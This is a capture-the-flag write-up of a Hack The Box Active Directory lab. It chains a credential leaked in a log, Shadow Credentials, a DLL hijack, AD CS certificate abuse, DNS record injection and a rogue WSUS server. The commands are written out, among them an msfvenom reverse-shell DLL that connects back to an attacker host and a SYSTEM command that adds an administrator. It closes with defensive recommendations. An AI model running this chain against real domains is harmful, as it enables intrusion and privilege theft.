Logging — Log Leak, Shadow Credentials, and Rogue WSUS to SYSTEM
- Tools
- rustscan, nxc, rusthound-ce, pywhisker, gettgtpkinit.py, getnthash.py, evil-winrm, msfvenom, zip, rubeus, certipy, openssl, dnstool.py, nc
- Skill demonstrated
- Active Directory attack-path analysis across credentials, PKI, and update infrastructure
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Hard |
| Target environment | Windows Server Active Directory domain (DNS, IIS, Kerberos, LDAP/LDAPS, SMB, WinRM, WSUS) |
| Starting position | Provided low-privilege domain credentials |
| Objective | Chain a leaked service credential, Shadow Credentials, a DLL hijack, AD CS abuse, and a rogue WSUS server into administrative access on the domain controller |
| Outcome | Managed service account added to local Administrators; privileged WinRM access |
Summary
Section titled “Summary”Logging is a Hard-rated Hack The Box Windows Active Directory lab that chains a diagnostic log credential leak, Shadow Credentials abuse against a managed service account, a DLL hijack in an update monitor, AD CS certificate abuse, AD-integrated DNS record manipulation, and a rogue WSUS server that executes a trusted binary as SYSTEM. Credential values, hashes, hostnames, addresses, and certificate identifiers are replaced with role-based placeholders; command syntax is preserved. Where no output was captured, the documented result is given instead.
Attack path: Provided domain credential → leaked service credential → year-rotated password → Shadow Credentials → NT hash → DLL hijack → AD CS certificate → AD DNS record → rogue WSUS → local Administrators
Context and Objective
Section titled “Context and Objective”- Target: a Windows Active Directory domain (
<DOMAIN>, domain controller<DC_HOSTNAME>) exposing DNS (53), IIS (80), Kerberos (88), LDAP/LDAPS (389/636), SMB (445), WinRM (5985), and WSUS (8530/8531). - Starting position: provided low-privilege domain credentials for
<LAB_USER>. - Objective: move from the provided account to administrative access on the domain controller through the observed weaknesses.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Enumeration and Credential Discovery
Section titled “1. Enumeration and Credential Discovery”Observation: a full TCP scan exposes the domain services, and SMB access with the provided account reveals a readable Logs share.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/<OUT_FILE>Truncated scan output:
53/tcp DNS80/tcp IIS88/tcp Kerberos389/636 LDAP/LDAPS445/tcp SMB5985/tcp WinRM8530/8531 WSUSThe share is retrieved with the provided account:
nxc smb <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>' --sharesnxc smb <DOMAIN> -u '<LAB_USER>' -p '<LAB_USER_PASSWORD>' -M spider_plus -o DOWNLOAD_FLAG=TrueIts identity synchronization trace log holds a plaintext bind credential:
BindUser: "<DOMAIN>\<SERVICE_ACCOUNT>"BindPass: "<SERVICE_PASSWORD_2025>"The leaked value carries a year suffix; the current-year variant authenticates over Kerberos:
nxc smb <DOMAIN> -u '<SERVICE_ACCOUNT>' -p '<SERVICE_PASSWORD_2026>' -d <DOMAIN> -k[+] <DOMAIN>\<SERVICE_ACCOUNT>:<SERVICE_PASSWORD_2026>Significance: the trace log stored a plaintext bind password in a share readable by the low-privileged account, and the predictable year rotation made the stale-looking value current. The account requires Kerberos, so -k is used.
Result: the service credential is recovered and subsequently validated through Kerberos authentication. rusthound-ce collection then maps the account’s domain permissions.
2. Shadow Credentials to the Managed Service Account
Section titled “2. Shadow Credentials to the Managed Service Account”Observation: collection shows <SERVICE_ACCOUNT> has GenericWrite over the managed service account <MANAGED_SERVICE_ACCOUNT>, which permits Shadow Credentials abuse.
python3 pywhisker.py \ -d <DOMAIN> \ -u '<SERVICE_ACCOUNT>' \ -p '<SERVICE_PASSWORD_2026>' \ --target '<MANAGED_SERVICE_ACCOUNT>' \ --action add -kThe tool writes a key credential and returns a PFX with its password:
[+] Saved PFX (#PKCS12) certificate & key at path: <SHADOW_CREDENTIALS_PFX>[*] Must be used with password: <PFX_PASSWORD>The PFX is used with gettgtpkinit.py to obtain a TGT, then getnthash.py recovers the account’s NT hash:
python3 gettgtpkinit.py \ -cert-pfx <SHADOW_CREDENTIALS_PFX> \ -pfx-pass <PFX_PASSWORD> \ '<DOMAIN>/<MANAGED_SERVICE_ACCOUNT>' '<MANAGED_SERVICE_ACCOUNT>.ccache'
export KRB5CCNAME='<MANAGED_SERVICE_ACCOUNT>.ccache'
python3 getnthash.py \ -key <TGT_SESSION_KEY> \ '<DOMAIN>/<MANAGED_SERVICE_ACCOUNT>'Recovered NT Hash: <MSA_NT_HASH>Significance: GenericWrite over the managed account lets an attacker-controlled key credential be written to msDS-KeyCredentialLink; PKINIT turns it into a TGT, and the account’s NT hash follows without the password.
Result: <MSA_NT_HASH> is recovered and used to open a WinRM session as <MANAGED_SERVICE_ACCOUNT> (evil-winrm -i <TARGET_IP> -u '<MANAGED_SERVICE_ACCOUNT>' -H <MSA_NT_HASH>).
3. DLL Hijack to Another Domain User
Section titled “3. DLL Hijack to Another Domain User”Observation: inside the managed service account session, the UpdateMonitor scheduled-task log shows the update applier DLL failing to load; the task is documented as running as a different domain user.
type C:\ProgramData\UpdateMonitor\Logs\monitor.logNo updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zipLoading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dllFailed to load settings_update.dll. Error code: 126The binary is confirmed 32-bit before a matching payload is built:
$bytes = Get-Content "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" -Encoding Byte -TotalCount 256$peOffset = [BitConverter]::ToInt32($bytes, 0x3C)$machine = [BitConverter]::ToUInt16($bytes, $peOffset + 4)"Machine type: 0x{0:X4}" -f $machineMachine type: 0x014C (x86 32-bit)A 32-bit DLL is generated, packaged into the archive the task expects, and placed at the monitored path:
msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=<LISTEN_PORT> -f dll -o settings_update.dllzip Settings_Update.zip settings_update.dlliwr -OutFile C:\ProgramData\UpdateMonitor\Settings_Update.zip http://<ATTACKER_IP>:<HTTP_PORT>/Settings_Update.zipnc -nlvp <LISTEN_PORT>C:\Windows\system32> whoami<DOMAIN>\<COMPROMISED_USER>Significance: the scheduled task extracts an archive into a writable path and loads a DLL by name; supplying a matching-architecture DLL in place of the missing one executes code in the task’s user context.
Result: a shell is obtained as <COMPROMISED_USER>.
4. AD CS Certificate for the Update-Service Hostname
Section titled “4. AD CS Certificate for the Update-Service Hostname”Observation: <COMPROMISED_USER> can enroll in the UpdateSrv AD CS template, which allows the enrollee to supply a subject name and includes the Server Authentication EKU. A Kerberos ticket for <COMPROMISED_USER>, retrieved from the existing Windows session with Rubeus and converted to a ccache, lets the request authenticate with -k -no-pass.
certipy req -k -no-pass \ -u '<COMPROMISED_USER>@<DOMAIN>' \ -ca '<CERTIFICATE_AUTHORITY>' \ -template 'UpdateSrv' \ -dns '<UPDATE_SERVICE_HOSTNAME>' \ -target <DC_HOSTNAME> \ -dc-ip <TARGET_IP>The issued certificate and key are extracted into PEM format for the rogue server:
openssl pkcs12 -in <WSUS_PFX> -nokeys -out <WSUS_CRT> -nodes -passin pass:openssl pkcs12 -in <WSUS_PFX> -nocerts -out <WSUS_KEY> -nodes -passin pass:Significance: subject-name injection plus the Server Authentication EKU produces a certificate for <UPDATE_SERVICE_HOSTNAME> that a WSUS client accepts as the trusted TLS identity.
Result: a certificate and private key valid for <UPDATE_SERVICE_HOSTNAME> were obtained.
5. AD DNS Record Creation
Section titled “5. AD DNS Record Creation”Observation: <MANAGED_SERVICE_ACCOUNT> holds write permission on the AD-integrated zone, so it can create a record for the update-service hostname.
python3 dnstool.py \ -u '<DOMAIN>\<MANAGED_SERVICE_ACCOUNT>' \ -p '<MSA_LM_HASH>:<MSA_NT_HASH>' \ -r <UPDATE_SERVICE_HOSTNAME> \ -a add \ -d <ATTACKER_IP> \ <TARGET_IP>nslookup <UPDATE_SERVICE_HOSTNAME> <TARGET_IP>Name: <UPDATE_SERVICE_HOSTNAME>Address: <ATTACKER_IP>Significance: an account with create rights on the integrated zone can point a trusted hostname at the operator address; with the certificate, the client’s WSUS trust checks pass.
Result: <UPDATE_SERVICE_HOSTNAME> resolves to <ATTACKER_IP>.
6. Rogue WSUS Server and SYSTEM Execution
Section titled “6. Rogue WSUS Server and SYSTEM Execution”Observation: WSUS clients trust the update-service hostname, and a signed Microsoft binary delivered from a rogue server runs as SYSTEM.
The rogue server serves the signed binary with an argument that adds the managed service account to local administrators:
COMMAND = '/accepteula /s cmd.exe /c "net localgroup administrators <MANAGED_SERVICE_ACCOUNT> /add"'Windows Update is triggered from the managed service account session:
Stop-Service wuauserv -ForceRemove-Item "C:\Windows\SoftwareDistribution" -Recurse -ForceStart-Service wuauservwuauclt /resetauthorization /detectnowusoclient StartScannet localgroup administratorsAdministratorDomain AdminsEnterprise Admins<MANAGED_SERVICE_ACCOUNT>Significance: the rogue endpoint satisfies the client’s trust, and the signed binary executes the delivered command as SYSTEM, adding the managed service account to local Administrators.
Result: the account is now a local administrator, and its refreshed session yields privileged WinRM access (evil-winrm -i <TARGET_IP> -u '<MANAGED_SERVICE_ACCOUNT>' -H <MSA_NT_HASH>).
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| The leaked service password was a stale year variant | Incremented the year suffix and re-authenticated | The pattern was derived from the log’s date context, and the rotated value authenticated over Kerberos |
| The UpdateMonitor process is 32-bit | Built and packaged a matching 32-bit DLL | The scheduled workflow requires matching process architecture for the load to succeed |
| A WSUS endpoint needs a trusted server certificate | Enrolled in the UpdateSrv subject-injection template with the Server Authentication EKU |
Subject injection lets the requested name match the update-service hostname |
Outcome
Section titled “Outcome”The evidence establishes a path from the provided domain credential to administrative access on the domain controller: recovered credentials and hashes are shown by tool output, the DLL hijack is proven by an authenticated whoami, and the privilege change is proven by the local-Administrators listing. The demonstrated privilege is local-Administrator membership on the domain controller, exercised through privileged WinRM.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are recommendations; no remediation was tested in the lab.
- Plaintext credentials in diagnostic logs. A synchronization trace log recorded a plaintext bind password in a share readable by the low-privileged account, and its predictable year rotation yielded service-account access. Recommendation: strip secrets from diagnostic logs, remove diagnostic shares from general read access, and alert on credentials appearing in log content.
- Weak ACLs on managed service accounts.
<SERVICE_ACCOUNT>could write<MANAGED_SERVICE_ACCOUNT>’smsDS-KeyCredentialLink, so Shadow Credentials produced a TGT and the account’s NT hash. Recommendation: audit and tier ACLs on managed service accounts, and detection: alert on unexpected key-credential writes. - AD CS template allowing subject-name injection with Server Authentication EKU. Enrollee-controlled subject names plus the server-auth EKU let a rogue endpoint present a trusted certificate for the update-service hostname. Recommendation: restrict enrollment and manager approval, and remove EKUs a template does not require.
- Unrestricted AD-integrated DNS record creation. The managed account could create a record for a trusted hostname, redirecting the update endpoint to an operator address. Detection: alert on new or changed records for update and infrastructure names.
- DLL search-order hijack in a scheduled update task. The task loaded
settings_update.dllby name from a writable path, so a matching-architecture DLL executed as the task user. Recommendation: load dependencies by fully qualified path from safe search directories and verify the applier binary. - WSUS client trust without endpoint pinning. The client accepted any server presenting a certificate valid for the hostname, so a rogue WSUS server delivered a signed binary that ran as SYSTEM. Recommendation: require mutual TLS or certificate pinning for update endpoints and inventory trusted roots.
References
Section titled “References”- Hack The Box — Logging (retired machine)
- RustScan (fast port scanner)
- NetExec (
nxc) (SMB and LDAP operations) - rusthound-ce (BloodHound CE collection)
- pywhisker (Shadow Credentials)
- PKINITtools —
gettgtpkinit.py,getnthash.py(PKINIT authentication and hash recovery) - Certipy (AD CS enumeration and abuse)
- krbrelayx —
dnstool.py(AD-integrated DNS record manipulation) - evil-winrm (WinRM shell)
- Metasploit
msfvenom(payload generation) - Rubeus (Kerberos ticket request from the Windows session)
- OpenSSL
pkcs12(PFX certificate and key extraction) - msDS-KeyCredentialLink ([MS-ADA2]) (attribute backing Shadow Credentials)
- Certificate template concepts (Microsoft Learn)
- Dynamic-link library search order (Microsoft Learn)
- Active Directory-integrated DNS zones (Microsoft Learn)
- Deploy Windows Server Update Services (Microsoft Learn)